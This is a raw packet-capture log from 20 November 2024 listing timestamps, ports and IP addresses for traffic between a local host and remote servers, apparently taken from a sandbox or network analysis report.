Nov 20, 2024 23:12:56.178452969 CET	49878	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.178467989 CET	443	49878	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.178950071 CET	443	49878	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.179231882 CET	49878	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.179301023 CET	443	49878	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.179347992 CET	49878	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.181621075 CET	443	49884	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:56.183284998 CET	49884	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:56.183301926 CET	443	49884	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:56.183773041 CET	49884	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:56.183778048 CET	443	49884	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:56.186147928 CET	443	49882	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.186434031 CET	49882	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.186440945 CET	443	49882	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.187491894 CET	443	49882	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.187563896 CET	49882	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.187915087 CET	49882	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.187984943 CET	443	49882	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.188026905 CET	49882	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.195005894 CET	443	49879	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.195224047 CET	49879	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.195235968 CET	443	49879	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.196264982 CET	443	49879	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.196331024 CET	49879	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.197222948 CET	49879	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.197304010 CET	443	49879	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.197375059 CET	49879	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.208271027 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.208333015 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.208385944 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.208959103 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.209018946 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.209073067 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.209151983 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.209486961 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.209533930 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.209604979 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.209768057 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.210236073 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.210324049 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.210374117 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.210386038 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.211216927 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.211276054 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.211396933 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.211441994 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.211937904 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.211997986 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.212158918 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.212490082 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.212764978 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.212812901 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.212943077 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.212985992 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.213596106 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.213665009 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.213758945 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.213809967 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.214483976 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.214591026 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.214637041 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.215301991 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.215353012 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.215423107 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.215495110 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.216145992 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.216188908 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.216203928 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.216223001 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.217037916 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.217082977 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.217109919 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.217155933 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.217865944 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.217946053 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.217977047 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.218024969 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.218734026 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.218801022 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.218857050 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.218899012 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.219549894 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.219624043 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.219654083 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.219696045 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.220412016 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.220474958 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.220521927 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.221259117 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.221303940 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.221632004 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.221813917 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.222171068 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.222218990 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.222373962 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.222418070 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.222982883 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.223030090 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.223037004 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.223074913 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.223824978 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.223875046 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.223927975 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.223979950 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.224700928 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.224751949 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.224764109 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.224790096 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.225508928 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.225559950 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.225622892 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.225713015 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.226341963 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.226453066 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.226485968 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.226501942 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.227188110 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.227235079 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.227298975 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.227329016 CET	443	49878	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.227349043 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.228044033 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.228092909 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.228158951 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.228200912 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.228596926 CET	49882	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.228612900 CET	443	49882	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.228897095 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.228954077 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.229087114 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.229146957 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.229723930 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.229774952 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.229859114 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.229906082 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.230581999 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.230665922 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.230695963 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.230741024 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.231436968 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.231482983 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.231503010 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.231575012 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.232285023 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.232332945 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.232362032 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.232460976 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.239336014 CET	443	49879	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.243807077 CET	49879	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.243825912 CET	443	49879	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.243899107 CET	443	49880	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.243921995 CET	443	49880	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.243964911 CET	49880	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.243977070 CET	443	49880	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.245225906 CET	49880	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.245270014 CET	443	49880	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.245320082 CET	49880	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.245573997 CET	49890	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.245605946 CET	443	49890	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.245662928 CET	49890	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.246033907 CET	49890	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.246047020 CET	443	49890	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.276798010 CET	49882	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.292325974 CET	49879	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.329472065 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.329572916 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.329639912 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.329873085 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.329922915 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.329957962 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.329996109 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.330710888 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.330763102 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.330792904 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.330828905 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.331507921 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.331554890 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.331583023 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.331629992 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.332402945 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.332451105 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.332480907 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.332518101 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.333214998 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.333260059 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.333306074 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.333350897 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.334079981 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.334122896 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.334214926 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.334270000 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.334913969 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.334996939 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.335092068 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.335143089 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.335776091 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.335822105 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.335871935 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.335925102 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.336756945 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.336819887 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.336891890 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.336930990 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.337495089 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.337611914 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.337619066 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.337656021 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.338345051 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.338464975 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.338522911 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.339262009 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.339329958 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.339391947 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.339472055 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.340044022 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.340090990 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.340167999 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.340214968 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.340899944 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.340941906 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.341016054 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.341088057 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.341732025 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.341778994 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.341814995 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.341859102 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.342729092 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.342784882 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.342993021 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.343040943 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.343410969 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.343460083 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.343528986 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.343581915 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.344279051 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.344326973 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.344397068 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.344444036 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.345175028 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.345222950 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.345340014 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.345443010 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.345993996 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.346040964 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.346071005 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.346116066 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.346890926 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.346940994 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.346967936 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.347016096 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.347667933 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.347718000 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.347754002 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.347799063 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.348459005 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.348512888 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.423609018 CET	443	49881	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.423634052 CET	443	49881	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.423687935 CET	49881	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.423696041 CET	443	49881	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.423744917 CET	49881	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.425326109 CET	49881	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.425352097 CET	443	49881	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.425609112 CET	49891	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.425648928 CET	443	49891	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.425751925 CET	49891	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.426428080 CET	49891	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.426441908 CET	443	49891	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.432884932 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.432912111 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.432977915 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.432996988 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.433327913 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.433372021 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.433494091 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.433536053 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.434159040 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.434206963 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.434215069 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.434251070 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.435007095 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.435065985 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.435079098 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.435127020 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.435890913 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.435985088 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.435990095 CET	443	49872	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.436016083 CET	443	49872	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.436043024 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.436085939 CET	49872	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.436100006 CET	443	49872	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.436480045 CET	443	49872	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.436682940 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.436791897 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.436822891 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.436830997 CET	49872	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.437145948 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.437541008 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.437593937 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.437648058 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.437779903 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.438373089 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.438436985 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.438492060 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.438635111 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.439251900 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.439301968 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.439308882 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.439435959 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.440093994 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.440210104 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.440226078 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.440265894 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.440943956 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.441028118 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.441118002 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.441159010 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.441790104 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.441833019 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.441891909 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.441932917 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.442645073 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.442686081 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.442747116 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.442886114 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.443506002 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.443613052 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.443639040 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.443727016 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.444401979 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.444530964 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.444541931 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.444583893 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.445070982 CET	49872	443	192.168.2.7	13.107.246.40
Nov 20, 2024 23:12:56.445082903 CET	443	49872	13.107.246.40	192.168.2.7
Nov 20, 2024 23:12:56.445210934 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.445254087 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.445344925 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:56.445564985 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:56.446041107 CET	80	49799	185.215.113.206	192.168.2.7
